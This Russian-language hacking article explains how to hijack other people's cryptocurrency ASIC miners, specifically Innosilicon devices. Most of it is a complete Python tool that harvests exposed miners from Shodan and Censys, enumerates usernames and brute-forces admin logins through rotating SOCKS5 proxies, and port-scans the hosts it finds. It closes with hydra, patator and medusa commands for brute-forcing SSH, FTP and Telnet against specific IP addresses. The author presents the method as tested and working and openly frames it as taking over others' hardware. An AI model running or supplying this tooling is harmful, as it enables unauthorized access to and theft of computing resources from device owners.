Брутим майнеры. Как заставить чужой асик майнить тебе
Цены на видеокарты не дают покоя, и вы хотите отомстить майнерам? Тогда эта статья для Вас!
Сегодня мы научимся брутить асики, да-да. Те самые, которые майнят биткоины и прочую крипту. Ты скажешь, о, да тема стара. Да, стара. Только почти каждый месяц появляются новые асики. И все они дырявые, как швейцарский сыр. Порой доходит до абсолютно абсурдных вещей, таких, как вшитые по умолчанию пароли на ssh и telnet и элементарные LFI. Я уже даже молчу про blind RCE и прочие современные радости. Короче, надо быть совсем конченым идиотом, чтобы выставить асик в открытый интернет. Но к нашей радости страна ждёт героев, но рожают только идиотов.Прошли те времена, когда ломали асики Bitmain и пользовали оставляли асики в открытом доступе с дефолтными паролями. Но если посмотреть с другой стороны, не так много то и изменилось. Всего стало только больше. Просто надо найти правильный подход.
Чтобы понять, что работы — непочатый край, надо просто зайти на этот сайт. А потом зайти на сайт производителя и покачать прошивки. Про Attify OS я уже писал. С помощью её инструментов можно чудесно разбирать прошивки и искать уязвимости. Но сегодня речь пойдёт не об этом.
То о чем мы тебе расскажем сегодня — проверено на собственном опыте. Тема рабочая. Да, после нас с ней стало немного сложнее, но всё возможно. Надо лишь проявить немного находчивости. Например, некоторые горе-майнеры пробрасывают асики из интранета на нестандартные порты для возможности контроля с расстояния.
А ещё существует пиратское ПО многолетней давности с дырами для управления не отдельными асиками, а целыми фермами. И люди его активно используют.
Но начнём с азов. А именно, с брута асиков. Только вместо Bitmain мы сегодня поговорим о менее распространенном, но не менее дырявом бренде — Innosilicon. Как я и говорил, я дарю тебе тему. Это основа. Как её используешь ты — решать тебе. Поехали?
Что такое асики?
В википедии сказано, что ASIC (Айсик, Асик) (аббревиатура от англ. application-specific integrated circuit, “интегральная схема специального назначения”) — это интегральная схема, специализированная для решения конкретной задачи. В отличие от интегральных схем общего назначения, специализированные интегральные схемы применяются в конкретном устройстве и выполняют строго ограниченные функции, характерные только для данного устройства; вследствие этого выполнение функций происходит быстрее и, в конечном счёте, дешевле. Примером ASIC может являться микросхема, разработанная исключительно для управления мобильным телефоном, микросхемы аппаратного кодирования/декодирования аудио- и видео-сигналов (сигнальные процессоры).
С появлением ASIC стало возможным добывать Bitcoin в гораздо большем количестве, чем с помощью видеокарт т.к. при большей мощности (скорости расчёта хеша) они потребляют гораздо меньше энергии.
Подготовка
Для сбора айпи, будем использовать Python с библиотеками Shodan и Censys, поэтому необходимо создать там аккаунты и получить api ключи.
Список библиотек, необходимых для работы скрипта, который мы будем разбирать в этой статье (pip3 install название_библиотеки):
- censys==1.1.1 – библиотека Censys;
- shodan==1.25.0 – библиотека Shodan;
- pysocks – библиотека, необходимая для работы с socks5 прокси;
- requests – библиотека, через которую будет осуществляться отправка POST запросов в веб-форму админки асиков.
- argparse – библиотека, с помощью которой мы будем запускать нужные нам режимы работы (поиск айпи, брут админки, сканирование портов и тд.).
- datetime – библиотека, которую будем использовать для создания имён файлов (07.54_20-05-21.txt).
Если вы планируете использовать socks5 прокси, то нужно создать файл proxy.txt, в котором будут айпи вместе с портами.
Пример:
154.16.202.22:1080
151.106.34.139:1080
154.16.63.16:1080
98.188.47.150:4145
176.9.75.42:1080
Создание скрипта для поиска айпи из Shodan и Censys
Импортируем библиотеки, создаем переменные с api ключами, стандартными портами, юзер-агентами и добавляем аргументы запуска:
import os import time import json import random import shodan import censys import socket import requests import datetime import argparse import threading from queue import Queue from censys import ipv4 from multiprocessing import Pool, freeze_support, Manager # API ключи. shodan_api_key = "KEY" censys_api_key = "KEY" censys_api_secret = "KEY" # Аргументы запуска скрипта. parser = argparse.ArgumentParser() parser.add_argument("-m", "--mode", help="Режимы работы", choices=[1, 2, 3, 4, 5, 6], type=int, required=True) parser.add_argument("-p", "--proxy", help="Использование прокси", action='store_true') args = parser.parse_args() # Список портов, которые мы будем сканировать в найденых айпи. ports = [21, 22, 23, 80, 443, 2222, 8080, 8000, 8888] m = Manager() ip_list = m.list() brute_data = m.list() proxy_list = m.list() asic_miners = m.list() password_list = m.list() # Список юзер-агентов. ua = ['Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.65', 'Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.2)', 'Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)', 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)', 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR)', 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN) AppleWebKit/533+ (KHTML, like Gecko)'] # Список стандартных имён, который мы будем использовать для брута юзеров. standard_users = ["admin", "Admin", "web", "root", "innominer", "innot1t2", "miner", "inno", "administrator", "user"]
Функции поиска айпи из Shodan и Censys:
# Shodan def shodan_scanner(dork, start=1, stop=2): # Подключаемся к shodan используя shodan_api_key api = shodan.Shodan(shodan_api_key) # Загружаем результаты и сохраняем их в ip_list for page in range(start, stop): try: time.sleep(0.5) results = api.search(dork, page=page) for result in results['matches']: if not result['ip_str'] in ip_list: # Выводим список айпи и сохраняем в ip_list ip_list.append(result['ip_str']) print(result['ip_str']) except shodan.exception.APIError as error: print('[!] Error: ' + str(error)) continue # Censys def censys_scanner(dork, records=25): # Подключаемся к censys используя censys_api_key и censys_api_secret c = ipv4.CensysIPv4(api_id=censys_api_key, api_secret=censys_api_secret) # Поиск айпи try: for result in c.search(dork, max_records=records): res = json.dumps(result, indent=4) r = json.loads(res) if r["ip"] not in ip_list: # Выводим список айпи и сохраняем в ip_list ip_list.append(r["ip"]) print(r["ip"]) except censys.exceptions as error: print('[!] Error: ' + str(error))
Вызываем функции и получаем список айпи:
results_file = r’logs/’ + date + ‘.txt’ print(«\nCensys:») # records=47 — количество айпи censys_scanner(«AsicMiner», records=47) print(«\nShodan:») # stop=3 — последняя страница для поиска (3 страницы ~ 47 уникальных айпи) shodan_scanner(«title:AsicMiner», stop=3) f = open(results_file, «a») for ip in ip_list: f.write(str(ip) + «\n») print(ip) f.close()
Поиск асиков из списка айпи
Список айпи мы получили, осталось найти в этом списке асики, для этого перейдем в веб-панель, на страницу /login и посмотрим, как происходит вход в админку:
Если пользователь существует, мы получаем сообщение о неверном пароле, это поможет нам брутить юзеров, но сейчас нам важно понять, как и куда передаются логин/пароль, для этого в браузере нажимаем f12 и попадаем в средства разработчика, выбираем меню “Сеть” и пробуем войти в админку еще раз:
В поле мы видим пакеты, которые передаются методом POST:
Выбираем тот, что с файлом auth и в меню “Заголовки” можем увидеть полный путь:
В поле “Запрос” отображаются названия переменных, которые принимают логин и пароль:
Если перейти по пути из меню “Заголовки”, то мы попадем на страничку с json, в которой получим сообщение “missing username\/password fields”:
“success”:false значит, что пароль и логин не подошли, при правильной паре логин/пароль мы получим “success”:true и таким образом сможем понять какой из паролей был корректным, это мы будем использовать для брута паролей.
Теперь, когда мы знаем, как работает авторизация, можем создать функцию, которая будет искать асики и функцию, которая будет генерировать хидеры:
def headers_gen(): headers = { 'User-agent': random.choice(ua), 'Accept-Encoding': 'gzip, deflate', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Upgrade-Insecure-Requests': '1', 'Connection': 'keep-alive'} return headers def find_asicminers(url): # Входим в цикл while, чтобы избежать проблем с прокси error = "Cannot connect to proxy" while "Cannot connect to proxy" in str(error): if url not in asic_miners: # Библиотека requests не позволяет устанавливать кастомное количество попыток, для этого существует костыль с for retry in range() for retry in range(16): try: time.sleep(0.5) # Если при запуске программы использовался аргумент -p – включаем socks5 прокси if args.proxy: prox = random.choice(proxy_list) proxies = { "https": "socks5h://" + str(prox), "http": "socks5h://" + str(prox)} send = requests.post("http://" + str(url) + "/api/auth", headers=headers_gen(), proxies=proxies, verify=False, timeout=15) else: send = requests.post("http://" + str(url) + "/api/auth", headers=headers_gen(), verify=False, timeout=15) # Смотрим на ответ в json if r"missing username\/password fields" in send.text: if url not in asic_miners: print("[*] AsicMiner found: " + str(url)) asic_miners.append(url) error = None except Exception as e: if "Cannot connect to proxy" in str(e) or "Read timed out" in str(e) or "Max retries exceeded" \ in str(e) or "Connection reset by peer" in str(e) or "RemoteDisconnected" in str(e): pass else: print("\n" + str(e) + "\n") error = str(e)
Скриншот работы функции:
Начинаем брутить веб-панель!
Когда мы получили список айпи асиков, можно начать брутить юзернеймы. Создаем функцию (использовать ее мы будем не часто, ведь admin это юзер по умолчанию и его не меняют), которая будет брать юзернеймы из standard_users и в цикле for пробовать каждый из них:
def web_user_brute(url): for user in standard_users: data = {"username": user, "password": "password"} error = "Cannot connect to proxy" while "Cannot connect to proxy" in str(error) or "Max retries exceeded" in str(error): time.sleep(0.5) try: # Если при запуске программы использовался аргумент -p – включаем socks5 прокси if args.proxy: p = random.choice(proxy_list) proxies = { "https": "socks5h://" + str(p), "http": "socks5h://" + str(p)} send = requests.post("http://" + str(url) + "/api/auth", data=data, headers=headers_gen(), proxies=proxies, verify=False, timeout=10) else: send = requests.post("http://" + str(url) + "/api/auth", data=data, headers=headers_gen(), verify=False, timeout=10) # Если страница /api/auth вернет json с ошибкой “invalid password” – сохраняем переменную user в txt файл if r"invalid password" in send.text: print("[*] Username found: " + user) found = open("found_users.txt", "a") found.write("url: " + str(url) + "\tusername: " + str(user) + "\n") found.close() elif r"user not found" in send.text: print("[-] Username " + user + " not found!") else: print("[!] There maybe error!") error = None except Exception as e: if "Cannot connect to proxy" in str(e) or "Max retries exceeded" in str(e): pass else: print("\n" + str(e) + "\n") error = str(e)
Функция брута аккаунта админа очень похожа на функцию брута юзернеймов, но вместо “invalid password” мы будем искать “success”: true:
def admin_web_pass_brute(url): for password in password_list: print("[!] Trying password: " + str(password) + " for admin on target: " + str(url)) error = "Cannot connect to proxy" while "Cannot connect to proxy" in str(error) or "Max retries exceeded" in str(error): try: time.sleep(0.5) headers = headers_gen() d = {"username": "admin", "password": password} if args.proxy: prox = random.choice(proxy_list) proxies = {"https": "socks5h://" + str(prox), "http": "socks5h://" + str(prox)} pass_brute = requests.post("http://" + str(url) + "/api/auth", data=d, headers=headers, proxies=proxies, verify=False, timeout=10) else: pass_brute = requests.post("http://" + str(url) + "/api/auth", data=d, headers=headers, verify=False, timeout=10) if r'"success":true' in pass_brute.text: print("[*] Found admin password: " + str(password)) found = open("found_pass.txt", "a") found.write("url: " + str(url) + "\tusername: admin password: " + password + "\n") found.close() error = None except Exception as e: if "Cannot connect to proxy" in str(e) or "Max retries exceeded" in str(e): pass else: print("\n" + str(e) + "\n") error = str(e)
Программа почти готова, осталось сделать функцию, которая будет проверять порты на найденных асиках и записывать их в txt файлы, чтобы в дальнейшем мы смогли брутить SSH или FTP через thc-hydra или patator:
def port_scanner(target): print("\nIP: " + str(target)) socket.setdefaulttimeout(1) print_lock = threading.Lock() def portscan(port): # Создаем сокет s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: # Подключаемся к айпи по порту, который будем брать из ports con = s.connect((target, port)) with print_lock: # Выводим в консоль открытый порт print(port, 'is open') f_ip = open('logs/' + date + "_port_" + str(port) + ".txt", "a") f_ip.write(str(target) + "\n") # Отключаемся con.close() except: # Если возникает ошибка, то мы просто игнорируем ее pass def threader(): # Запуск функции portscan в нескольких потоках while True: w = q.get() portscan(w) q.task_done() q = Queue() # Создаем нужное количество потоков for x in range(len(ports) // 2): t = threading.Thread(target=threader) t.daemon = True t.start() for worker in ports: q.put(worker) q.join()
Создаем в конце файла блок if __name__ == “__main__”, чтобы мы смогли запускать отдельные функции указывая режим работы через -m:
if __name__ == "__main__": if not os.path.exists('logs'): os.mkdir('logs') date = datetime.datetime.today().strftime("%H.%M_%d-%m-%y") try: # Если аргумент запуска -m 1 if args.mode == 1: print("Finding IP...\n") results_file = r'logs/' + date + '.txt' print("\nCensys:") # records=47 - количество айпи censys_scanner("AsicMiner", records=47) print("\nShodan:") # stop=3 - последняя страница для поиска (3 страницы ~ 47 уникальных айпи) shodan_scanner("title:AsicMiner", stop=3) # Записываем полученные айпи в txt файл f = open(results_file, "a") for ip in ip_list: f.write(str(ip) + "\n") print(ip) f.close() # Запускаем поиск асиков start_finding_asicminers = input("\n[+] Start finding AsicMiners? [y/n]\n==> ") if start_finding_asicminers.lower() == "y": # Если при запуске программы использовался аргумент -p – включаем режим работы с socks5 прокси if args.proxy: try: with open("proxy.txt", "r") as f: for proxy in f.readlines(): if proxy.split("\n")[0] not in proxy_list: proxy_list.append(proxy.split("\n")[0]) except Exception as ex: print("[!] Error: " + str(ex)) exit(0) # Запускаем функцию поиска асиков в нескольких потоках freeze_support() pool = Pool(len(ip_list) // 3) pool.map(find_asicminers, ip_list) pool.close() pool.join() # Записываем найденные асики в txt файл found_asic_miners = open("AsicMiners.txt", "a") for asic_miner_url in asic_miners: found_asic_miners.write(str(asic_miner_url) + "\n") found_asic_miners.close() # Запускаем сканер портов start_port_scanner = input("\n[+] Start scanning IP's for common ports? [y/n]\n==> ") if start_port_scanner.lower() == "y": for ip in asic_miners: port_scanner(ip) # Запускаем брут аккаунта админа start_user_enumeration = input("\n[+] Start bruting admin account on port 80? [y/n]\n==> ") if start_user_enumeration.lower() == "y": try: # Открываем файл с паролями и сохраняем их в password_list f = open("passwords.txt", "r") for i in f.readlines(): password_list.append(i.split("\n")[0]) f.close() except Exception as ex: print("[!] Error: " + str(ex)) exit(0) # Запускаем функцию брута аккаунта админа в нескольких потоках freeze_support() pool = Pool(len(asic_miners)) pool.map(admin_web_pass_brute, asic_miners) pool.close() pool.join() # Если аргумент запуска -m 2 elif args.mode == 2: # Указываем путь к файлу с айпи file = input("\n[+] Enter path to file with IP's\n==> ") f = open(file, "r") for i in f.readlines(): ip_list.append(i.split("\n")[0]) f.close() # Запускаем сканер портов for ip in ip_list: port_scanner(ip) # Если аргумент запуска -m 3 elif args.mode == 3: try: # Открываем файл с паролями и сохраняем их в password_list f = open("passwords.txt", "r") for i in f.readlines(): password_list.append(i.split("\n")[0]) f.close() except Exception as ex: print("[!] Error: " + str(ex)) exit(0) # Если при запуске программы использовался аргумент -p – включаем режим работы с socks5 прокси if args.proxy: try: with open("proxy.txt", "r") as f: for proxy in f.readlines(): if proxy.split("\n")[0] not in proxy_list: proxy_list.append(proxy.split("\n")[0]) except Exception as ex: print("[!] Error: " + str(ex)) exit(0) # Запускаем брут юзернеймов link = input("\n[+] Enter ip: ") web_user_brute(link) # Если аргумент запуска -m 4 elif args.mode == 4: # Открываем файл с паролями и сохраняем их в password_list file = input("\n[+] Enter path to file with IP's\n==> ") f = open(file, "r") for i in f.readlines(): ip_list.append(i.split("\n")[0]) f.close() try: f = open("passwords.txt", "r") for i in f.readlines(): password_list.append(i.split("\n")[0]) f.close() except Exception as ex: print("[!] Error: " + str(ex)) exit(0) # Если при запуске программы использовался аргумент -p – включаем режим работы с socks5 прокси if args.proxy: try: with open("proxy.txt", "r") as f: for proxy in f.readlines(): if proxy.split("\n")[0] not in proxy_list: proxy_list.append(proxy.split("\n")[0]) except Exception as ex: print("[!] Error: " + str(ex)) exit(0) # Запускаем функцию брута аккаунта админа в нескольких потоках freeze_support() pool = Pool(len(ip_list) // 2) pool.map(admin_web_pass_brute, ip_list) pool.close() pool.join() # Если аргумент запуска -m 5 elif args.mode == 5: # Указываем путь к файлу с айпи file = input("\n[+] Enter path to file with IP's\n==> ") f = open(file, "r") for i in f.readlines(): ip_list.append(i.split("\n")[0]) f.close() # Если при запуске программы использовался аргумент -p – включаем режим работы с socks5 прокси if args.proxy: try: with open("proxy.txt", "r") as f: for proxy in f.readlines(): if proxy.split("\n")[0] not in proxy_list: proxy_list.append(proxy.split("\n")[0]) except Exception as ex: print("[!] Error: " + str(ex)) exit(0) # Запускаем функцию поиска асиков в нескольких потоках freeze_support() pool = Pool(len(ip_list) // 3) pool.map(find_asicminers, ip_list) pool.close() pool.join() # Запускаем сканер портов start_port_scanner = input("\n[+] Start scanning IP's for common ports? [y/n]\n==> ") if start_port_scanner.lower() == "y": for ip in asic_miners: port_scanner(ip) except KeyboardInterrupt: print('\n[!] (Ctrl + C) detected...') exit(0) except Exception as ex: print(str(ex) + "\n[!] Exiting...") exit(0)
Сриншоты работы программы:
После того, как айпи будут собраны, нам будет предложено запустить поиск асиков:
Когда асики будут собраны, в папке появится файл AsicMiners.txt:
Если мы запустим скан портов, то в папке logs появятся файлы, в которых будут айпи и порты, которые были открыты:
После скана портов, мы можем запустить брут админки и если пароль будет найден, то появится файл found_pass.txt:
Брут SSH, Telnet, FTP
SSH:
hydra -f -L usernames.txt -P passwords.txt ssh://89.40.246.58
-f
– остановка перебора после успешного подбора пары логин/пароль;
-L/-P
– путь до словаря с пользователями/паролями;
ssh://IP-адрес
– в нашем случае, это айпи асика.
patator ssh_login host=89.40.246.58 user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt
ssh_login
– модуль;
host
– наша цель;
user
– логин пользователя, к которому подбирается пароль или файл с логинами для множественного подбора;
password
– словарь с паролями.
medusa -h 89.40.246.58 -U usernames.txt -P passwords.txt -M ssh
-h
– IP-адрес целевой машины;
-U/-P
– путь к словарям логинов/паролей;
-М
– выбор нужного модуля.
FTP:
hydra -f -L usernames.txt -P passwords.txt ftp://109.122.230.99
patator ftp_login host=
109.122.230.99 user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt
medusa -f -M ftp -U usernames.txt -P passwords.txt -h 109.122.230.99
Telnet
hydra 109.122.230.99 telnet -L usernames.txt -P passwords.txt -t 32 -f
patator
telnet_login host=
109.122.230.99 user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt
medusa -f -M
telnet -U usernames.txt -P passwords.txt -h 109.122.230.99